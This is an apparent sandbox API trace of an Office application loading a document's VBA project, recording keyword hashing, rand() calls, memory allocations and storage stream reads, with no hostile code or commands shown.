[0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0036.699] CExposedStream::Read () returned 0x0 [0036.701] CExposedStream::Read () returned 0x0 [0036.717] IMalloc:Realloc (This=0x7feff045380, pv=0x81c6320, cb=0x54) returned 0x805c230 [0036.717] IMalloc:Realloc (This=0x7feff045380, pv=0x8116e90, cb=0x12) returned 0x81b1e00 [0036.717] CExposedStream::Release () returned 0x0 [0036.717] IMalloc:Free (This=0x7feff045380, pv=0x81d6fd0) [0036.717] IMalloc:Alloc (This=0x7feff045380, cb=0x6b0) returned 0x81d7a10 [0036.718] srand (_Seed=0x5196) [0036.718] rand () returned 2707 [0036.718] rand () returned 5367 [0036.718] rand () returned 3107 [0036.718] rand () returned 25991 [0036.718] rand () returned 22224 [0036.718] rand () returned 7173 [0036.718] rand () returned 3305 [0036.718] rand () returned 5542 [0036.718] rand () returned 21093 [0036.718] rand () returned 7093 [0036.718] rand () returned 29645 [0036.718] rand () returned 30555 [0036.718] rand () returned 4452 [0036.718] rand () returned 15519 [0036.718] rand () returned 22682 [0036.718] rand () returned 20118 [0036.718] rand () returned 26125 [0036.718] rand () returned 28117 [0036.718] rand () returned 31912 [0036.718] rand () returned 27549 [0036.718] rand () returned 25247 [0036.718] rand () returned 12135 [0036.718] rand () returned 31572 [0036.718] rand () returned 27055 [0036.718] rand () returned 11630 [0036.718] rand () returned 26157 [0036.718] rand () returned 24237 [0036.718] rand () returned 16615 [0036.718] rand () returned 23350 [0036.718] rand () returned 7360 [0036.718] rand () returned 27760 [0036.718] rand () returned 12132 [0036.718] rand () returned 17327 [0036.718] rand () returned 21962 [0036.718] rand () returned 16183 [0036.718] rand () returned 15783 [0036.718] rand () returned 1121 [0036.718] rand () returned 21376 [0036.718] rand () returned 32749 [0036.718] rand () returned 25148 [0036.718] rand () returned 9658 [0036.718] rand () returned 30828 [0036.718] rand () returned 21381 [0036.718] rand () returned 2205 [0036.718] rand () returned 5726 [0036.718] rand () returned 9584 [0036.718] rand () returned 20715 [0036.718] rand () returned 32595 [0036.719] rand () returned 28862 [0036.719] rand () returned 14600 [0036.719] rand () returned 4923 [0036.719] rand () returned 4446 [0036.719] rand () returned 16108 [0036.719] rand () returned 5071 [0036.719] rand () returned 15410 [0036.719] rand () returned 20183 [0036.719] rand () returned 12462 [0036.719] rand () returned 17989 [0036.719] rand () returned 31458 [0036.719] rand () returned 18644 [0036.719] rand () returned 30673 [0036.719] rand () returned 19407 [0036.719] rand () returned 27305 [0036.719] rand () returned 17548 [0036.719] rand () returned 16063 [0036.719] rand () returned 30463 [0036.719] rand () returned 24163 [0036.719] rand () returned 10684 [0036.719] rand () returned 27988 [0036.719] rand () returned 29462 [0036.719] rand () returned 27615 [0036.719] rand () returned 12361 [0036.719] rand () returned 12270 [0036.719] rand () returned 32455 [0036.719] rand () returned 19344 [0036.719] rand () returned 4390 [0036.719] rand () returned 29891 [0036.719] rand () returned 17470 [0036.719] rand () returned 24709 [0036.719] rand () returned 15992 [0036.719] rand () returned 21368 [0036.719] rand () returned 29281 [0036.719] rand () returned 31899 [0036.719] rand () returned 26360 [0036.719] rand () returned 4847 [0036.719] rand () returned 31574 [0036.719] rand () returned 13554 [0036.719] rand () returned 18585 [0036.719] rand () returned 16736 [0036.719] rand () returned 7237 [0036.719] rand () returned 23197 [0036.719] rand () returned 5740 [0036.719] rand () returned 4779 [0036.719] rand () returned 4703 [0036.719] rand () returned 27550 [0036.719] rand () returned 30144 [0036.719] rand () returned 30956 [0036.719] rand () returned 8479 [0036.719] rand () returned 4113 [0036.719] rand () returned 22157 [0036.719] rand () returned 11088 [0036.719] rand () returned 19919 [0036.719] rand () returned 30631 [0036.719] rand () returned 11027 [0036.719] rand () returned 3880 [0036.719] rand () returned 29775 [0036.719] rand () returned 11094 [0036.719] rand () returned 17086 [0036.719] rand () returned 14140 [0036.719] rand () returned 6418 [0036.719] rand () returned 10063 [0036.719] rand () returned 19533 [0036.719] rand () returned 28002 [0036.719] rand () returned 7273 [0036.720] rand () returned 20785 [0036.720] rand () returned 17203 [0036.720] rand () returned 31311 [0036.720] rand () returned 13060 [0036.720] rand () returned 7804 [0036.720] rand () returned 19517 [0036.720] rand () returned 8108 [0036.720] rand () returned 18357 [0036.720] rand () returned 32584 [0036.720] rand () returned 17782 [0036.720] rand () returned 30829 [0036.720] rand () returned 10872 [0036.720] rand () returned 24887 [0036.720] rand () returned 3400 [0036.720] rand () returned 13150 [0036.720] rand () returned 12465 [0036.720] rand () returned 24232 [0036.720] rand () returned 17635 [0036.720] rand () returned 23550 [0036.720] rand () returned 10932 [0036.720] rand () returned 28205 [0036.720] rand () returned 4579 [0036.720] rand () returned 9617 [0036.720] rand () returned 21130 [0036.720] rand () returned 9792 [0036.720] rand () returned 9004 [0036.720] rand () returned 27761 [0036.720] rand () returned 6131 [0036.720] rand () returned 26929 [0036.720] rand () returned 32025 [0036.720] rand () returned 24997 [0036.720] rand () returned 28071 [0036.720] rand () returned 3427 [0036.720] rand () returned 20695 [0036.720] rand () returned 5300 [0036.720] rand () returned 31713 [0036.720] rand () returned 21944 [0036.720] rand () returned 25355 [0036.720] rand () returned 20411 [0036.720] rand () returned 23582 [0036.720] rand () returned 20042 [0036.720] rand () returned 17851 [0036.720] rand () returned 31166 [0036.720] rand () returned 16930 [0036.720] rand () returned 24924 [0036.720] rand () returned 26987 [0036.720] rand () returned 29500 [0036.720] rand () returned 13885 [0036.720] rand () returned 14480 [0036.720] rand () returned 18822 [0036.720] rand () returned 8454 [0036.720] rand () returned 17612 [0036.720] rand () returned 15962 [0036.720] rand () returned 14336 [0036.720] rand () returned 6481 [0036.720] rand () returned 18178 [0036.720] rand () returned 21428 [0036.720] rand () returned 3130 [0036.720] rand () returned 9993 [0036.720] rand () returned 10473 [0036.720] rand () returned 3603 [0036.720] rand () returned 14630 [0036.720] rand () returned 5992 [0036.720] rand () returned 20643 [0036.720] rand () returned 4506 [0036.720] rand () returned 3755 [0036.721] rand () returned 1480 [0036.721] rand () returned 2806 [0036.721] rand () returned 23438 [0036.721] rand () returned 10827 [0036.721] rand () returned 6581 [0036.721] rand () returned 8456 [0036.721] rand () returned 4363 [0036.721] rand () returned 23299 [0036.721] rand () returned 27463 [0036.721] rand () returned 31590 [0036.721] rand () returned 9717 [0036.721] rand () returned 31858 [0036.721] rand () returned 430 [0036.721] rand () returned 30283 [0036.721] rand () returned 28720 [0036.721] rand () returned 3390 [0036.721] rand () returned 8207 [0036.721] rand () returned 19232 [0036.721] rand () returned 31508 [0036.721] rand () returned 1204 [0036.721] rand () returned 21647 [0036.721] rand () returned 13119 [0036.721] rand () returned 12059 [0036.721] rand () returned 11182 [0036.721] rand () returned 32173 [0036.721] rand () returned 10236 [0036.721] rand () returned 8669 [0036.721] rand () returned 31930 [0036.721] rand () returned 14804 [0036.721] rand () returned 25574 [0036.721] rand () returned 8767 [0036.721] rand () returned 20344 [0036.721] rand () returned 30000 [0036.721] rand () returned 2378 [0036.721] rand () returned 21735 [0036.721] rand () returned 21316 [0036.721] rand () returned 2498 [0036.721] rand () returned 4601 [0036.721] rand () returned 29939 [0036.721] rand () returned 7445 [0036.721] rand () returned 9647 [0036.721] rand () returned 27723 [0036.721] rand () returned 3306 [0036.721] rand () returned 19621 [0036.721] rand () returned 27614 [0036.721] rand () returned 26980 [0036.721] rand () returned 15346 [0036.721] rand () returned 3283 [0036.721] rand () returned 705 [0036.721] rand () returned 24758 [0036.721] rand () returned 23364 [0036.721] rand () returned 29509 [0036.721] rand () returned 1395 [0036.721] rand () returned 11463 [0036.721] rand () returned 6110 [0036.721] rand () returned 849 [0036.721] rand () returned 2820 [0036.721] rand () returned 25909 [0036.721] rand () returned 21623 [0036.721] rand () returned 22558 [0036.721] rand () returned 14353 [0036.722] rand () returned 31223 [0036.722] rand () returned 26552 [0036.722] rand () returned 14854 [0036.722] rand () returned 3735 [0036.722] rand () returned 5093 [0036.722] rand () returned 2729 [0036.722] rand () returned 9023 [0036.722] rand () returned 28680 [0036.722] CoCreateGuid (in: pguid=0x815d738 | out: pguid=0x815d738*(Data1=0xcdac429c, Data2=0x2620, Data3=0x4b86, Data4=([0]=0x9d, [1]=0xf, [2]=0x4f, [3]=0xff, [4]=0x2a, [5]=0x26, [6]=0xe5, [7]=0x33))) returned 0x0 [0036.722] IMalloc:Alloc (This=0x7feff045380, cb=0x68) returned 0x819f870 [0036.723] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f067e0 [0036.723] strcpy_s (in: _Dst=0x815d798, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0036.723] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c6320 [0036.723] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x8) returned 0x8116e90 [0036.723] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819b760 [0036.723] IMalloc:GetSize (This=0x7feff045380, pv=0x819b760) returned 0x80 [0036.723] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109b10 [0036.723] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109bd0 [0036.724] strcpy_s (in: _Dst=0x815d7b0, _DstSize=0x8, _Src="Project" | out: _Dst="Project") returned 0x0 [0036.724] lstrcpyA (in: lpString1=0xae67a7c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0036.724] CExposedDocFile::Stat () returned 0x0 [0036.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xae67a7c, cbMultiByte=-1, lpWideCharStr=0x2678c0, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0036.724] CExposedDocFile::OpenStream () returned 0x0 [0036.724] CExposedDocFile::AddRef () returned 0x3 [0036.724] CExposedStream::Stat () returned 0x0 [0036.724] CExposedStream::Read () returned 0x0 [0036.724] lstrlenA (lpString="") returned 0 [0036.724] lstrcpyA (in: lpString1=0x454df50, lpString2="" | out: lpString1="") returned="" [0036.724] lstrcpynA (in: lpString1=0xae68a70, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0036.724] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0036.724] lstrcpyA (in: lpString1=0x454df90, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0036.725] lstrcpynA (in: lpString1=0xae68cd0, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0036.725] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0036.725] lstrcpyA (in: lpString1=0xae68f10, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0036.725] CExposedDocFile::OpenStream () returned 0x0 [0036.725] CExposedStream::Stat () returned 0x0 [0036.725] CExposedStream::Read () returned 0x0 [0036.725] CExposedStream::Release () returned 0x0 [0036.725] lstrcpyA (in: lpString1=0x454df70, lpString2="" | out: lpString1="") returned="" [0036.726] lstrcmpiA (lpString1="ThisDocument", lpString2="ThisDocument") returned 0 [0036.726] lstrlenA (lpString="ThisDocument") returned 12 [0036.726] atoi (_Str="393222000") returned 393222000 [0036.726] lstrcpynA (in: lpString1=0x454cb2c, lpString2="{22741996-2422-4600-A698-D79D236B5F65}", iMaxLength=39 | out: lpString1="{22741996-2422-4600-A698-D79D236B5F65}") returned="{22741996-2422-4600-A698-D79D236B5F65}" [0036.726] StringFromGUID2 (in: rguid=0x7fee40778a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x81a4188, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0036.726] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{22741996-2422-4600-A698-D79D236B5F65}") returned -1 [0036.726] lstrlenA (lpString="{22741996-2422-4600-A698-D79D236B5F65}") returned 38 [0036.726] lstrlenA (lpString="{22741996-2422-4600-A698-D79D236B5F65}") returned 38 [0036.726] lstrlenA (lpString="{22741996-2422-4600-A698-D79D236B5F65}") returned 38 [0036.726] CExposedStream::Commit () returned 0x0 [0036.726] CExposedStream::Release () returned 0x0 [0036.726] CExposedDocFile::OpenStream () returned 0x80030002 [0036.726] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0036.727] lstrlenA (lpString="&H00000001") returned 10 [0036.727] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0036.727] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0036.727] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0036.727] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0036.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x454df50, cbMultiByte=-1, lpWideCharStr=0x2678f0, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0036.727] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0xae67bcc | out: pclsid=0xae67bcc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0036.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x454df77, cbMultiByte=-1, lpWideCharStr=0x2678e0, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0036.727] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5fc8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0036.727] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5fc8, cbMultiByte=8, lpWideCharStr=0x81c5ed8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0036.728] lstrlenA (lpString="Project") returned 7 [0036.728] GetCurrentThreadId () returned 0x924 [0036.728] GetCurrentThreadId () returned 0x924 [0036.728] IMalloc:Alloc (This=0x7feff045380, cb=0x28) returned 0x81c5de0 [0036.728] GetCursorPos (in: lpPoint=0x267ac0 | out: lpPoint=0x267ac0*(x=1214, y=855)) returned 1 [0036.728] GetCapture () returned 0x0 [0036.728] WindowFromPoint (Point=0x357000004be) returned 0x101d8 [0036.728] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0036.728] SendMessageA (hWnd=0x101d8, Msg=0x84, wParam=0x0, lParam=0x35704be) returned 0x1 [0036.728] SendMessageA (hWnd=0x101d8, Msg=0x20, wParam=0x101d8, lParam=0x2000001) returned 0x1 [0036.734] SetCursor (hCursor=0x10007) returned 0x10007 [0036.736] GetCurrentThreadId () returned 0x924 [0036.736] GetCurrentThreadId () returned 0x924 [0036.737] CExposedDocFile::CreateStorage () returned 0x0 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x280) returned 0x8104c90 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x1738) returned 0x81dbfc0 [0036.737] GetLocalTime (in: lpSystemTime=0x2672e8 | out: lpSystemTime=0x2672e8*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x3ae)) [0036.737] _ultow_s (in: _Value=0x5e3fce51, _Buffer=0x8104cba, _BufferCount=0x103, _Radix=16 | out: _Buffer="5e3fce51") returned 0x0 [0036.737] wcsncpy_s (in: _Destination=0x266fb0, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.737] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266ee0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.737] wcscpy_s (in: _Destination=0x7cb74e8, _SizeInWords=0xe, _Source="*\\Z015e3fce51" | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.737] wcsncpy_s (in: _Destination=0x266ff0, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.737] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266f20, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.737] CExposedDocFile::AddRef () returned 0x2 [0036.737] CExposedDocFile::AddRef () returned 0x2 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x84) returned 0x819b910 [0036.737] wcscpy_s (in: _Destination=0x819b980, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0036.737] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x180) returned 0x80b9680 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109ed0 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109d50 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815ddd0 [0036.737] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x80) returned 0x819bac0 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815e020 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815e270 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x28) returned 0x81c5b70 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x7dd22c0 [0036.737] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x266c5c, cchData=6 | out: lpLCData="1252") returned 5 [0036.737] atoi (_Str="1252") returned 1252 [0036.737] GetLocalTime (in: lpSystemTime=0x266c50 | out: lpSystemTime=0x266c50*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x3ae)) [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819bb50 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116ef0 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819bbe0 [0036.737] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c46d0 [0036.738] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819bc70 [0036.738] IMalloc:Realloc (This=0x7feff045380, pv=0x819bc70, cb=0x280) returned 0x8104f20 [0036.738] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116f00 [0036.738] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116f10 [0036.738] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3220000 [0036.738] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x38b0000 [0036.738] CExposedDocFile::CreateStream () returned 0x0 [0036.738] IMalloc:Alloc (This=0x7feff045380, cb=0x420) returned 0x81dd700 [0036.738] CExposedStream::AddRef () returned 0x2 [0036.738] CExposedStream::Release () returned 0x1 [0036.738] CExposedStream::Release () returned 0x0 [0036.738] IMalloc:Free (This=0x7feff045380, pv=0x81dd700) [0036.738] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0036.739] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x30) returned 0x7f72af0 [0036.739] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x3230000 [0036.739] VirtualAlloc (lpAddress=0x38b0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x38b0000 [0036.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0036.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0036.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0036.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0036.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0036.739] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0036.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0036.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0036.741] 